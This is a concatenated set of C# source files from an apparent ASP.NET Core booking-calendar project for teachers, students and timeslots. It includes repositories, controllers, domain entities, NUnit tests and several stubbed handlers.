public DateTimeOffset EndTime { get; set; }
}
}
<file_sep>/GuidanceCalendar.Persistence/DAO/TimeslotDao.cs
using System;
using System.Collections.Generic;
using GuidanceCalendar.Persistence.DAO.Common;
namespace GuidanceCalendar.Persistence.DAO
{
public class TimeslotDao : AbstractEntityDao
{
public DateTime StartTime { get; set; }
public DateTime EndTime { get; set; }
public ICollection<BookingDao> Bookings { get; set; }
public TeacherDao TimeslotOwner { get; set; }
public CalendarDao Calendar { get; set; }
}
}
<file_sep>/GuidanceCalendar.Application/UseCases/Student/Commands/CreateBooking/CreateBookingCommand.cs
using MediatR;
using System;
namespace GuidanceCalendar.Application.StudentService.Commands.CreateBooking
{
public class CreateBookingCommand : IRequest<CreateBookingResponse>
{
public Guid TimeslotId { get; set; }
public DateTimeOffset BookingStartDateTime { get; set; }
public DateTimeOffset BookingEndDateTime { get; set; }
public Guid StudentId { get; set; }
}
}<file_sep>/GuidanceCalendar.Persistence/Configure/CalendarConfiguration.cs
using GuidanceCalendar.Persistence.DAO;
using Microsoft.EntityFrameworkCore;
using Microsoft.EntityFrameworkCore.Metadata.Builders;
using System;
using System.Collections.Generic;
using System.Text;
namespace GuidanceCalendar.Persistence.Configure
{
public class CalendarConfiguration : IEntityTypeConfiguration<CalendarDao>
{
public void Configure(EntityTypeBuilder<CalendarDao> builder)
{
builder.ToTable("Calendar");
builder.HasKey(c => c.Id);
builder.HasMany(c => c.AvailableTimeslots)
.WithOne(ts => ts.Calendar)
.HasForeignKey("CalendarId")
.OnDelete(DeleteBehavior.Cascade);
}
}
}
<file_sep>/GuidanceCalendar.Application/UseCases/Timeslot/Queries/GetBookingsInTimeslot/GetBookingsInTimeslotQuery.cs
using MediatR;
using System;
using System.Collections.Generic;
namespace GuidanceCalendar.Application.TimeslotService.Queries.GetBookingsInTimeslot
{
public class GetBookingsInTimeslotQuery : IRequest<List<GetBookingsInTimeslotResponse>>
{
public Guid TimeslotId { get; set; }
}
}<file_sep>/Domain.Test/TimeslotTests.cs
using GuidanceCalendar.Domain;
using FluentAssertions;
using NUnit.Framework;
using System;
namespace Domain.Test
{
public class TimeslotTests
{
private Calendar testCalendar;
private Timeslot testTimeslot;
private Teacher testTeacher;
[SetUp]
public void Setup()
{
var startTime = DateTime.UtcNow;
var endTime = DateTime.UtcNow.AddHours(4);
testCalendar = new Calendar("Test Calendar");
testTeacher = new Teacher("Prøveknud");
testTimeslot = new Timeslot(startTime, endTime, testTeacher, testCalendar);
}
[Test]
public void Teacher_Contains_No_Timeslot()
{
var actual = testTeacher;
actual.AvailableTimeslots.Should().HaveCount(0, "No available timeslots");
}
[Test]
public void Timeslot_Endtime_Before_Starttime_Throws_Exception()
{
var startTime = DateTime.UtcNow;
Action act = () => new Timeslot(startTime, startTime.AddHours(-1), testTeacher, testCalendar);
act.Should().Throw<ArgumentException>();
}
[Test]
public void Teacher_Contains_One_Timeslot()
{
var actual = testTeacher;
actual.AvailableTimeslots.Should().HaveCount(0, "No available timeslots");
actual.AddTimeslot(testTimeslot);
actual.AvailableTimeslots.Should().HaveCount(1, "Teacher should contain one timeslot");
}
[Test]
public void Teacher_Doesnt_Accept_overlapping_Timeslots()
{
var actual = testTeacher;
actual.AvailableTimeslots.Should().HaveCount(0, "No available timeslots");
actual.AddTimeslot(testTimeslot);
var ts = new Timeslot(DateTime.UtcNow, DateTime.UtcNow.AddMinutes(30), testTeacher, testCalendar);
Action act = () => actual.AddTimeslot(ts);
act.Should().Throw<Exception>();
}
[Test]
public void Teacher_Has_Two_Timeslots()
{
var actual = testTeacher;
actual.AddTimeslot(testTimeslot);
var goodtime = DateTime.UtcNow.AddDays(1);
var ts = new Timeslot(goodtime, goodtime.AddMinutes(30), testTeacher, testCalendar);
actual.AddTimeslot(ts);
actual.AvailableTimeslots.Should().HaveCount(2, "Two timeslots on teacher");
}
[Test]
public void Teacher_Has_Two_Timeslots_Second_Added_Before_First()
{
var actual = testTeacher;
var time = DateTime.UtcNow;
var ts = new Timeslot(time.AddDays(2), time.AddHours(50), testTeacher, testCalendar);
actual.AddTimeslot(ts);
var ts2 = new Timeslot(time.AddDays(1), time.AddHours(26), testTeacher, testCalendar);
actual.AddTimeslot(ts2);
actual.AvailableTimeslots.Should().HaveCount(2, "Two timeslots on teacher");
}
[Test]
public void Timeslot_Is_Attatched_To_One_Calendar()
{
var actual = testTimeslot;
var notTestCalendar = new Calendar("not test calendar");
actual.Calendar.Should().Be(testCalendar);
actual.Calendar.Should().NotBe(notTestCalendar);
}
[Test]
public void Timeslot_No_Overlapping_Bookings()
{
var actual = testTimeslot;
var bookingtime = DateTime.UtcNow;
var testStudent = new Student("<NAME>");
var testbooking = new Booking(testStudent,bookingtime, bookingtime.AddMinutes(30));
actual.AddBooking(testbooking);
var testBooking2 = new Booking(testStudent, bookingtime.AddMinutes(5), bookingtime.AddMinutes(35));
Action act = () => actual.AddBooking(testBooking2);
act.Should().Throw<Exception>();
}
[Test]
public void Student_Max_Two_Open_Bookings()
{
var actual = testTimeslot;
var bookingtime = DateTime.UtcNow;
var testStudent = new Student("<NAME>");
var testStudent2 = new Student("<NAME>");
var testbooking = new Booking(testStudent, bookingtime.AddMinutes(2), bookingtime.AddMinutes(15));
actual.AddBooking(testbooking);
var testBooking2 = new Booking(testStudent, bookingtime.AddMinutes(16), bookingtime.AddMinutes(31));
actual.AddBooking(testBooking2);
var testBooking3 = new Booking(testStudent, bookingtime.AddMinutes(32), bookingtime.AddMinutes(48));
var testBooking4 = new Booking(testStudent2, bookingtime.AddMinutes(32), bookingtime.AddMinutes(48));
Action act = () => actual.AddBooking(testBooking3);
act.Should().Throw<Exception>();
actual.Bookings.Should().HaveCount(2);
actual.AddBooking(testBooking4);
actual.Bookings.Should().HaveCount(3);
}
}
}
<file_sep>/GuidanceCalendar.Ports/Out/Persistence/ITeacherPersistencePort.cs
using GuidanceCalendar.Domain;
using System;
using System.Collections.Generic;
using System.Text;
using System.Threading.Tasks;
namespace GuidanceCalendar.Ports.Out.Persistence
{
public interface ITeacherPersistencePort
{
Task<Teacher> GetTeacherWithTimeslotsById(Guid teacherId);
Task<ICollection<Teacher>> ListTeachersAsync();
Task Update(Teacher updateTeacher);
}
}
<file_sep>/GuidanceCalendar/Viewmodels/TimeslotVM.cs
using System;
using System.Collections.Generic;
using System.Linq;
using System.Threading.Tasks;
namespace GuidanceCalendar.API.Viewmodels
{
public class TimeslotVM
{
public Guid Id { get; set; }
public DateTimeOffset StartTime { get; set; }
public DateTimeOffset EndTime { get; set; }
}
}
<file_sep>/GuidanceCalendar.Persistence/Configure/BookingConfiguration.cs
using GuidanceCalendar.Persistence.DAO;
using Microsoft.EntityFrameworkCore;
using Microsoft.EntityFrameworkCore.Metadata.Builders;
using System;
using System.Collections.Generic;
using System.Text;
namespace GuidanceCalendar.Persistence.Configure
{
public class BookingConfiguration : IEntityTypeConfiguration<BookingDao>
{
public void Configure(EntityTypeBuilder<BookingDao> builder)
{
builder.ToTable("Booking");
builder.HasKey(b => b.Id);
builder.HasOne(b => b.BookedBy)
.WithMany(s => s.Bookings);
}
}
}
<file_sep>/GuidanceCalendar.Persistence/Repositories/BaseRepository.cs
using Microsoft.EntityFrameworkCore;
using System;
using System.Collections.Generic;
using System.Threading.Tasks;
using GuidanceCalendar.Persistence.DAO.Common;
using GuidanceCalendar.Persistence.Interfaces;
namespace GuidanceCalendar.Persistence.Repositories
{
public abstract class BaseRepository<T> : IRepository<T> where T : AbstractEntityDao
{
private readonly GuidanceCalendarContext dbContext;
protected DbSet<T> dbSet;
protected BaseRepository(GuidanceCalendarContext dbContext)
{
this.dbContext = dbContext;
this.dbSet = dbContext.Set<T>();
}
public async Task<T> AddAsync(T entity)
{
await dbSet.AddAsync(entity);
await dbContext.SaveChangesAsync();
return entity;
}
public async Task<T> GetByIdAsync(Guid id)
{
var entity = await dbSet.FirstOrDefaultAsync(ent => ent.Id == id);
if (entity == null)
{
throw new Exception($"{typeof(T).Name} was not found");
}
return entity;
}
public async Task<IEnumerable<T>> ListAsync()
{
return await dbSet.ToListAsync();
}
public async Task Update(T entityToUpdate)
{
dbContext.Entry(entityToUpdate).State = EntityState.Modified;
await dbContext.SaveChangesAsync();
}
}
}
<file_sep>/GuidanceCalendar.Application/UseCases/Student/Commands/CreateBooking/CreateBookingResponse.cs
using System;
namespace GuidanceCalendar.Application.StudentService.Commands.CreateBooking
{
public class CreateBookingResponse
{
public Guid Id { get; internal set; }
}
}<file_sep>/GuidanceCalendar.Application/Port/Out/TeacherPersistencePort.cs
using System;
using System.Collections.Generic;
using System.Linq;
using System.Threading.Tasks;
using GuidanceCalendar.Domain;
using GuidanceCalendar.Persistence.DAO;
using GuidanceCalendar.Persistence.Interfaces;
using GuidanceCalendar.Ports.Out.Persistence;
namespace GuidanceCalendar.Application.Port.Out
{
public class TeacherPersistencePort : ITeacherPersistencePort
{
private readonly ITeacherRepository teacherRepository;
public TeacherPersistencePort(ITeacherRepository teacherRepository)
{
this.teacherRepository = teacherRepository;
}
public async Task<Teacher> GetTeacherWithTimeslotsById(Guid teacherId)
{
var daoTeacher = await teacherRepository.GetTeacherWithTimeslotsById(teacherId);
return DaoToDomain(daoTeacher);
}
public async Task<ICollection<Teacher>> ListTeachersAsync()
{
var daoTeacher = await teacherRepository.ListAsync();
var list = new List<Teacher>();
foreach (var t_dao in daoTeacher)
{
list.Add(DaoToDomain(t_dao));
}
return list;
}
public Task Update(Teacher updateTeacher)
{
throw new NotImplementedException();
}
private Teacher DaoToDomain(TeacherDao teacherDao)
{
var teacher = Teacher.Create(teacherDao.Id, teacherDao.Name);
foreach (var tsDao in teacherDao.AvailableTimeslots)
{
var timeslot = Timeslot.Create(tsDao.Id, tsDao.StartTime, tsDao.EndTime, teacher);
teacher.AvailableTimeslots.Add(timeslot);
}
return teacher;
}
}
}
<file_sep>/GuidanceCalendar/Mapper/ViewmodelMapper.cs
using GuidanceCalendar.API.Viewmodels;
using GuidanceCalendar.Domain;
using System;
using System.Collections.Generic;
using System.Linq;
using System.Threading.Tasks;
namespace GuidanceCalendar.API.Mapper
{
public class ViewmodelMapper
{
internal object ConvertToTimeslotsDTO(ICollection<Timeslot> timeslots)
{
List<TimeslotVM> vmTimeslots = new List<TimeslotVM>();
timeslots.ToList().ForEach(x => vmTimeslots.Add(new TimeslotVM { Id = x.Id, StartTime = x.StartTime, EndTime = x.EndTime }));
return vmTimeslots;
}
internal object ConvertToTeachersDTO(ICollection<Teacher> teachers)
{
List<TeacherVM> vmTeachers = new List<TeacherVM>();
teachers.ToList().ForEach(x => vmTeachers.Add(new TeacherVM { Name = x.Name, Id = x.Id }));
return vmTeachers;
}
internal object ConvertToCalendarListDTO(ICollection<Calendar> calendars)
{
List<CalendarVM> vmCalendars = new List<CalendarVM>();
calendars.ToList().ForEach(x => vmCalendars.Add(new CalendarVM { Id = x.Id, Name = x.Name, Description = x.Description }));
return vmCalendars;
}
}
}
<file_sep>/GuidanceCalendar/Controllers/CalendarController.cs
using System;
using System.Threading.Tasks;
using GuidanceCalendar.API.Mapper;
using GuidanceCalendar.API.Viewmodels.Commands;
using GuidanceCalendar.Ports.In.Application;
using Microsoft.AspNetCore.Mvc;
namespace GuidanceCalendar.API.Controllers
{
[Route("api/[controller]")]
[ApiController]
public class CalendarController : ControllerBase
{
private readonly ICalendarService _calendarService;
private readonly ViewmodelMapper _viewmodelMapper;
public CalendarController(ICalendarService calendarService, ViewmodelMapper viewmodelMapper)
{
_calendarService = calendarService;
_viewmodelMapper = viewmodelMapper;
}
[HttpGet]
public async Task<IActionResult> AvailableCalendars()
{
var calendars = await _calendarService.GetAvailableCalendars();
return Ok(_viewmodelMapper.ConvertToCalendarListDTO(calendars));
}
[HttpPost]
public async Task<IActionResult> CreateCalendar([FromBody]CreateCalendarCommand request)
{
var response = await _calendarService.CreateCalendar(request.Name, request.Description);
return Created("", new { Id = response });
}
[HttpGet("{id}")]
public async Task<IActionResult> GetCalendar(Guid id)
{
return Ok(await _calendarService.GetCalendar(id));
}
}
}<file_sep>/GuidanceCalendar.Application/UseCases/Student/Queries/UpcommingBookings - Copy/GetBookingHistoryHandler.cs
using MediatR;
using System;
using System.Collections.Generic;
using System.Linq;
using System.Threading;
using System.Threading.Tasks;
namespace GuidanceCalendar.Application.StudentService.Queries.GetBookingHistory
{
public class GetBookingHistoryHandler : IRequestHandler<GetBookingHistoryQuery, List<GetBookingHistoryResponse>>
{
//private readonly IStudentRepository studentRepository;
//public GetBookingHistoryHandler(IStudentRepository studentRepository)
//{
// this.studentRepository = studentRepository;
//}
public async Task<List<GetBookingHistoryResponse>> Handle(GetBookingHistoryQuery request, CancellationToken cancellationToken)
{
//var response = new List<GetBookingHistoryResponse>();
//var student = await studentRepository.GetStudentWithBookingsById(request.StudentId);
//student.Bookings.ToList().ForEach(x => response.Add(new GetBookingHistoryResponse { Id = x.Id, BookingStartDateTime = x.StartTime, BookingEndDateTime = x.EndTime }));
//return response;
throw new NotImplementedException("Need much refactoring, betch! :)");
}
}
}
<file_sep>/GuidanceCalendar.Application/UseCases/Teacher/Queries/GetAvailableTimeslots/GetAvailableTimeslotsHandler.cs
using MediatR;
using System;
using System.Linq;
using System.Collections.Generic;
using System.Text;
using System.Threading;
using System.Threading.Tasks;
using GuidanceCalendar.Domain;
using GuidanceCalendar.Ports.Out.Persistence;
namespace GuidanceCalendar.Application.UseCases.Teacher.Queries.GetAvailableTimeslots
{
public class GetAvailableTimeslotsHandler : IRequestHandler<GetAvailableTimeslotsQuery, ICollection<Timeslot>>
{
private readonly ITeacherPersistencePort _tpp;
public GetAvailableTimeslotsHandler(ITeacherPersistencePort tpp)
{
this._tpp = tpp;
}
public async Task<ICollection<Timeslot>> Handle(GetAvailableTimeslotsQuery request, CancellationToken cancellationToken)
{
var teacher = await _tpp.GetTeacherWithTimeslotsById(request.TeacherId);
return teacher.AvailableTimeslots;
}
}
}
<file_sep>/GuidanceCalendar.Ports/In/Application/ICalendarService.cs
using GuidanceCalendar.Domain;
using System;
using System.Collections.Generic;
using System.Threading.Tasks;
namespace GuidanceCalendar.Ports.In.Application
{
public interface ICalendarService
{
// Commands
Task<Guid> CreateCalendar(
string name,
string description);
Task<Calendar> GetCalendar(Guid id);
Task<ICollection<Calendar>> GetAvailableCalendars();
}
}
<file_sep>/GuidanceCalendar.Persistence/Repositories/CalendarRepository.cs
using GuidanceCalendar.Persistence.DAO;
using GuidanceCalendar.Persistence.Interfaces;
namespace GuidanceCalendar.Persistence.Repositories
{
public class CalendarRepository : BaseRepository<CalendarDao>, ICalendarRepository
{
public CalendarRepository(GuidanceCalendarContext dbContext) : base(dbContext)
{
}
}
}
<file_sep>/GuidanceCalendar.Application/UseCases/Student/Queries/UpcommingBookings/UpcommingBookingsHandler.cs
using MediatR;
using System;
using System.Collections.Generic;
using System.Linq;
using System.Threading;
using System.Threading.Tasks;
namespace GuidanceCalendar.Application.StudentService.Queries.UpcommingBookings
{
public class UpcommingBookingsHandler : IRequestHandler<UpcommingBookingsQuery, List<UpcommingBookingsResponse>>
{
//private readonly IStudentRepository studentRepository;
//public UpcommingBookingsHandler(IStudentRepository studentRepository)
//{
// this.studentRepository = studentRepository;
//}
public async Task<List<UpcommingBookingsResponse>> Handle(UpcommingBookingsQuery request, CancellationToken cancellationToken)
{
//var response = new List<UpcommingBookingsResponse>();
//var student = await studentRepository.GetStudentWithBookingsById(request.StudentId);
//student.GetOpenBookings().ToList().ForEach(x => response.Add(new UpcommingBookingsResponse { Id = x.Id, BookingStartDateTime = x.StartTime, BookingEndDateTime = x.EndTime }));
//return response;
throw new NotImplementedException("Needs refactoring, yo!");
}
}
}
<file_sep>/GuidanceCalendar.Domain/Calendar.cs
using GuidanceCalendar.Domain.Common;
using System;
using System.Collections.Generic;
namespace GuidanceCalendar.Domain
{
public class Calendar : Entity
{
public string Name { get; private set; }
public string Description { get; private set; }
public ICollection<Timeslot> AvailableTimeslots { get; private set; }
public Calendar(string name, string description = "")
{
AvailableTimeslots = new List<Timeslot>();
Name = name;
Description = description;
}
public static Calendar Create(Guid id, string name, string description)
{
return new Calendar(name, description) { Id = id };
}
}
}
<file_sep>/GuidanceCalendar.Persistence/Repositories/StudentRepository.cs
using GuidanceCalendar.Persistence.DAO;
using GuidanceCalendar.Persistence.Interfaces;
using Microsoft.EntityFrameworkCore;
using System;
using System.Threading.Tasks;
namespace GuidanceCalendar.Persistence.Repositories
{
public class StudentRepository : BaseRepository<StudentDao>, IStudentRepository
{
public StudentRepository(GuidanceCalendarContext dbContext) : base(dbContext)
{
}
public async Task<StudentDao> GetStudentWithBookingsById(Guid id)
{
var rightNow = DateTime.UtcNow;
return await dbSet.Include(s => s.Bookings).FirstOrDefaultAsync(s => s.Id == id);
}
}
}
<file_sep>/GuidanceCalendar.Application/UseCases/Calendar/Queries/AvaliableCalendars/AvaliableCalendarsRequestHandler.cs
using GuidanceCalendar.Domain;
using GuidanceCalendar.Ports.Out.Persistence;
using MediatR;
using System.Collections.Generic;
using System.Threading;
using System.Threading.Tasks;
namespace GuidanceCalendar.Application.UseCases.Calendar.Queries.AvaliableCalendars
{
public class AvaliableCalendarsRequestHandler : IRequestHandler<AvaliableCalendarsRequest, ICollection<Domain.Calendar>>
{
private readonly ICalendarPersistencePort _cpp;
public AvaliableCalendarsRequestHandler(ICalendarPersistencePort cpp)
{
this._cpp = cpp;
}
public async Task<ICollection<Domain.Calendar>> Handle(AvaliableCalendarsRequest request, CancellationToken cancellationToken)
{
return await _cpp.ListCalendarsAsync();
}
}
}
<file_sep>/GuidanceCalendar.Application/UseCases/Student/Queries/GetStudents/GetStudentsQuery.cs
using MediatR;
using System.Collections.Generic;
namespace GuidanceCalendar.Application.StudentService.Queries.GetStudents
{
public class GetStudentsQuery : IRequest<List<GetStudentsResponse>>
{
}
}<file_sep>/GuidanceCalendar/Controllers/StudentController.cs
using System;
using System.Collections.Generic;
using System.Linq;
using System.Threading.Tasks;
using GuidanceCalendar.Application.StudentService.Commands.CreateBooking;
using GuidanceCalendar.Application.StudentService.Queries.GetBookingHistory;
using GuidanceCalendar.Application.StudentService.Queries.GetStudents;
using GuidanceCalendar.Application.StudentService.Queries.UpcommingBookings;
using MediatR;
using Microsoft.AspNetCore.Http;
using Microsoft.AspNetCore.Mvc;
namespace GuidanceCalendar.API.Controllers
{
[Route("api/[controller]")]
[ApiController]
public class StudentController : ControllerBase
{
private readonly IMediator _mediator;
public StudentController(IMediator mediator)
{
_mediator = mediator;
}
[HttpPost("{studentId}")]
public async Task<IActionResult> CreateBooking([FromBody]CreateBookingCommand request)
{
return Ok(await _mediator.Send(request));
}
[HttpGet("{studentId}")]
public async Task<IActionResult> UpcommingBookings([FromRoute]UpcommingBookingsQuery request)
{
return Ok(await _mediator.Send(request));
}
[HttpGet("{studentId}/history")]
public async Task<IActionResult> UpcommingBookings([FromRoute]GetBookingHistoryQuery request)
{
return Ok(await _mediator.Send(request));
}
[HttpGet]
public async Task<IActionResult> GetStudents()
{
return Ok(await _mediator.Send(new GetStudentsQuery()));
}
}
}<file_sep>/GuidanceCalendar.Application/Port/In/ApplicationService.cs
using MediatR;
using System;
using System.Collections.Generic;
using System.Text;
namespace GuidanceCalendar.Application.Port.In
{
public abstract class ApplicationService
{
protected readonly IMediator _mediator;
public ApplicationService(IMediator mediator)
{
_mediator = mediator;
}
}
}
<file_sep>/GuidanceCalendar.Ports/In/Application/IStudentServices.cs
using System;
using System.Collections.Generic;
using System.Text;
namespace GuidanceCalendar.Ports.In.Application
{
interface IStudentServices
{
}
}
<file_sep>/GuidanceCalendar.Persistence/Interfaces/ICalendarRepository.cs
using GuidanceCalendar.Persistence.DAO;
using System;
using System.Collections.Generic;
using System.Text;
namespace GuidanceCalendar.Persistence.Interfaces
{
public interface ICalendarRepository : IRepository<CalendarDao>
{
}
}
<file_sep>/GuidanceCalendar.Domain/Common/TimeRange.cs
using System;
using System.Collections.Generic;
using System.Text;
namespace GuidanceCalendar.Domain.Common
{
public abstract class TimeRange : Entity
{
public DateTimeOffset StartTime { get; protected set; }
public DateTimeOffset EndTime { get; protected set; }
public TimeSpan Duration { get=> EndTime.Subtract(StartTime); }
protected void TimeRangeGuard(DateTimeOffset start, DateTimeOffset end)
{
if (end < start) throw new ArgumentOutOfRangeException("StartTime must be before EndTime");
}
public void OverlapGuard(TimeRange t2)
{
if ((this.StartTime < t2.EndTime) && (this.EndTime > t2.StartTime)) throw new Exception("Dont overlap");
}
public void BoundaryGuard(TimeRange tr)
{
if (tr.StartTime < StartTime && tr.EndTime > EndTime) throw new Exception("Stay within boundary");
}
}
}
<file_sep>/GuidanceCalendar/Controllers/TeacherController.cs
using GuidanceCalendar.API.Mapper;
using GuidanceCalendar.API.Viewmodels.Commands;
using GuidanceCalendar.Ports.In.Application;
using Microsoft.AspNetCore.Mvc;
using System;
using System.Threading.Tasks;
namespace GuidanceCalendar.API.Controllers
{
[Route("api/[controller]")]
[ApiController]
public class TeacherController : ControllerBase
{
private readonly ITeacherService _teacherService;
private readonly ViewmodelMapper _viewmodelMapper;
public TeacherController(ITeacherService teacherService, ViewmodelMapper viewmodelMapper)
{
_teacherService = teacherService;
_viewmodelMapper = viewmodelMapper;
}
[HttpPost("{teacherId}/timeslot")]
public async Task<IActionResult> CreateTimeslot([FromBody] CreateTimeslotCommand request)
{
var response = await _teacherService.CreateTimeslot(request.TeacherId, request.CalendarId, request.StartTime, request.EndTime);
return Created("", new { Id = response });
}
[HttpGet("{teacherId}/timeslot")]
public async Task<IActionResult> GetAvailableTimeslots(Guid teacherId)
{
var timeslots = await _teacherService.GetAvailableTimeslotsByTeacherId(teacherId);
var response = _viewmodelMapper.ConvertToTimeslotsDTO(timeslots);
return Ok(response);
}
[HttpGet]
public async Task<IActionResult> GetTeachers()
{
var teachers = await _teacherService.GetTeachers();
var response = _viewmodelMapper.ConvertToTeachersDTO(teachers);
return Ok(response);
}
// This can safely be deleted!
// Used to get a valid timestamp for manual testing purposes
[HttpGet("time")]
public async Task<IActionResult> Time()
{
return Ok(new { Time = DateTime.UtcNow });
}
}
}
<file_sep>/GuidanceCalendar.Domain/Timeslot.cs
using GuidanceCalendar.Domain.Common;
using System;
using System.Collections.Generic;
using System.Text;
using System.Linq;
namespace GuidanceCalendar.Domain
{
public class Timeslot : TimeRange
{
public ICollection<Booking> Bookings { get; private set; }
public Teacher TimeslotOwner { get; private set; }
public Calendar Calendar { get; set; }
public Timeslot(DateTimeOffset startTime, DateTimeOffset endTime, Teacher owner, Calendar calendar)
{
Bookings = new List<Booking>();
TimeRangeGuard(startTime, endTime);
StartTime = startTime;
EndTime = endTime;
TimeslotOwner = owner;
Calendar = calendar;
}
public void AddBooking(Booking booking)
{
foreach(var book in Bookings)
{
book.OverlapGuard(booking);
}
booking.BookedBy.AddBooking(booking);
Bookings.Add(booking);
}
public static Timeslot Create(Guid id, DateTime startTime, DateTime endTime, Teacher teacher)
{
return new Timeslot(startTime, endTime, teacher, null) { Id = id };
}
}
}
<file_sep>/GuidanceCalendar.Application/UseCases/Student/Commands/CreateBooking/CreateBookingHandler.cs
using MediatR;
using System;
using System.Threading;
using System.Threading.Tasks;
namespace GuidanceCalendar.Application.StudentService.Commands.CreateBooking
{
public class CreateBookingHandler : IRequestHandler<CreateBookingCommand, CreateBookingResponse>
{
//private readonly IStudentRepository studentRepository;
//private readonly ITimeslotRepository timeslotRepository;
//public CreateBookingHandler(IStudentRepository studentRepository, ITimeslotRepository timeslotRepository)
//{
// this.studentRepository = studentRepository;
// this.timeslotRepository = timeslotRepository;
//}
public async Task<CreateBookingResponse> Handle(CreateBookingCommand request, CancellationToken cancellationToken)
{
//var timeslot = await timeslotRepository.GetTimeslotWithBookingsById(request.TimeslotId);
//var student = await studentRepository.GetStudentWithBookingsById(request.StudentId);
//var booking = new Booking(student, request.BookingStartDateTime, request.BookingEndDateTime);
//timeslot.AddBooking(booking);
//await timeslotRepository.Update(timeslot);
//return new CreateBookingResponse { Id = booking.Id };
throw new NotImplementedException("Needs refactoring :)");
}
}
}
<file_sep>/GuidanceCalendar.Application/UseCases/Student/Queries/UpcommingBookings/UpcommingBookingsQuery.cs
using MediatR;
using System;
using System.Collections.Generic;
namespace GuidanceCalendar.Application.StudentService.Queries.UpcommingBookings
{
public class UpcommingBookingsQuery : IRequest<List<UpcommingBookingsResponse>>
{
public Guid StudentId { get; set; }
}
}<file_sep>/GuidanceCalendar.Persistence/Interfaces/IRepository.cs
using GuidanceCalendar.Persistence.DAO.Common;
using System;
using System.Collections.Generic;
using System.Threading.Tasks;
namespace GuidanceCalendar.Persistence.Interfaces
{
public interface IRepository<T> where T: AbstractEntityDao
{
Task<T> AddAsync(T entity);
Task<T> GetByIdAsync(Guid id);
Task<IEnumerable<T>> ListAsync();
Task Update(T entityToUpdate);
}
}
<file_sep>/GuidanceCalendar.Persistence/Repositories/TimeslotRepository.cs
using GuidanceCalendar.Persistence.DAO;
using GuidanceCalendar.Persistence.Interfaces;
using Microsoft.EntityFrameworkCore;
using System;
using System.Threading.Tasks;
namespace GuidanceCalendar.Persistence.Repositories
{
public class TimeslotRepository : BaseRepository<TimeslotDao>, ITimeslotRepository
{
public TimeslotRepository(GuidanceCalendarContext dbContext) : base(dbContext)
{
}
public async Task<TimeslotDao> GetTimeslotWithBookingsById(Guid id)
{
return await dbSet.Include(ts => ts.Bookings).FirstOrDefaultAsync(ts => ts.Id == id);
}
}
}
<file_sep>/GuidanceCalendar.Persistence/DAO/CalendarDao.cs
using GuidanceCalendar.Persistence.DAO.Common;
using System;
using System.Collections.Generic;
namespace GuidanceCalendar.Persistence.DAO
{
public class CalendarDao : AbstractEntityDao
{
public string Name { get; set; }
public string Description { get; set; }
public ICollection<TimeslotDao> AvailableTimeslots { get; set; }
}
}
<file_sep>/GuidanceCalendar.Application/UseCases/Calendar/Queries/GetCalendar/GetCalendarHandler.cs
using GuidanceCalendar.Ports.Out.Persistence;
using MediatR;
using System.Threading;
using System.Threading.Tasks;
namespace GuidanceCalendar.Application.UseCases.Calendar.Queries.GetCalendar
{
public class GetCalendarHandler : IRequestHandler<GetCalendarQuery, Domain.Calendar>
{
private readonly ICalendarPersistencePort _cpp;
public GetCalendarHandler(ICalendarPersistencePort cpp)
{
_cpp = cpp;
}
public async Task<Domain.Calendar> Handle(GetCalendarQuery request, CancellationToken cancellationToken)
{
return await _cpp.GetByIdAsync(request.Id);
}
}
}
<file_sep>/GuidanceCalendar.Application/UseCases/Calendar/Commands/CreateCalendar/CreateCalendarCommand.cs
using MediatR;
using System;
using System.Collections.Generic;
using System.Text;
namespace GuidanceCalendar.Application.UseCases.Calendar.Commands.CreateCalendar
{
public class CreateCalendarCommand : IRequest<Guid>
{
public string Name { get; set; }
public string Description { get; set; }
}
}
<file_sep>/GuidanceCalendar.Application/UseCases/Timeslot/Queries/GetBookingsInTimeslot/GetBookingsInTimeslotHandler.cs
using MediatR;
using System;
using System.Collections.Generic;
using System.Linq;
using System.Threading;
using System.Threading.Tasks;
namespace GuidanceCalendar.Application.TimeslotService.Queries.GetBookingsInTimeslot
{
public class GetBookingsInTimeslotHandler : IRequestHandler<GetBookingsInTimeslotQuery, List<GetBookingsInTimeslotResponse>>
{
//private readonly ITimeslotRepository timeslotRepository;
//public GetBookingsInTimeslotHandler(ITimeslotRepository timeslotRepository)
//{
// this.timeslotRepository = timeslotRepository;
//}
public async Task<List<GetBookingsInTimeslotResponse>> Handle(GetBookingsInTimeslotQuery request, CancellationToken cancellationToken)
{
//var timeslot = await timeslotRepository.GetTimeslotWithBookingsById(request.TimeslotId);
//var response = new List<GetBookingsInTimeslotResponse>();
//timeslot.Bookings.ToList().ForEach(x =>
//{
// response.Add(new GetBookingsInTimeslotResponse { Id = x.Id, BookingStartDateTime = x.StartTime, BookingEndDateTime = x.EndTime });
//});
//return response;
throw new NotImplementedException("Refactor this, plez");
}
}
}
<file_sep>/GuidanceCalendar/Controllers/TimeslotController.cs
using System;
using System.Collections.Generic;
using System.Linq;
using System.Threading.Tasks;
using GuidanceCalendar.Application.TimeslotService.Queries.GetBookingsInTimeslot;
using MediatR;
using Microsoft.AspNetCore.Http;
using Microsoft.AspNetCore.Mvc;
namespace GuidanceCalendar.API.Controllers
{
[Route("api/[controller]")]
[ApiController]
public class TimeslotController : ControllerBase
{
private IMediator _mediator;
public TimeslotController(IMediator mediator)
{
_mediator = mediator;
}
[HttpGet("{timeslotId}")]
public async Task<IActionResult> GetBookingsInTimeslot([FromRoute]GetBookingsInTimeslotQuery request)
{
return Ok(await _mediator.Send(request));
}
}
}<file_sep>/GuidanceCalendar.Ports/In/Application/ITimeslotServices.cs
using System;
using System.Collections.Generic;
using System.Text;
using System.Threading.Tasks;
namespace GuidanceCalendar.Ports.In.Application
{
public interface ITimeslotServices
{
// Task<List<GetBookingsInTimeslotResponse>> GetBookingsInTimeslot(GetBookingsInTimeslotQuery request);
}
}
<file_sep>/GuidanceCalendar.Persistence/Repositories/BookingRepository.cs
using GuidanceCalendar.Persistence.DAO;
using GuidanceCalendar.Persistence.Interfaces;
namespace GuidanceCalendar.Persistence.Repositories
{
public class BookingRepository : BaseRepository<BookingDao>, IBookingRepository
{
public BookingRepository(GuidanceCalendarContext dbContext) : base(dbContext)
{
}
}
}
<file_sep>/GuidanceCalendar.Ports/In/Application/ITeacherService.cs
using GuidanceCalendar.Domain;
using System;
using System.Collections.Generic;
using System.Text;
using System.Threading.Tasks;
namespace GuidanceCalendar.Ports.In.Application
{
public interface ITeacherService
{
// Commands
Task<Guid> CreateTimeslot(
Guid teacherId,
Guid calendarId,
DateTimeOffset startTime,
DateTimeOffset endTime);
// Queries
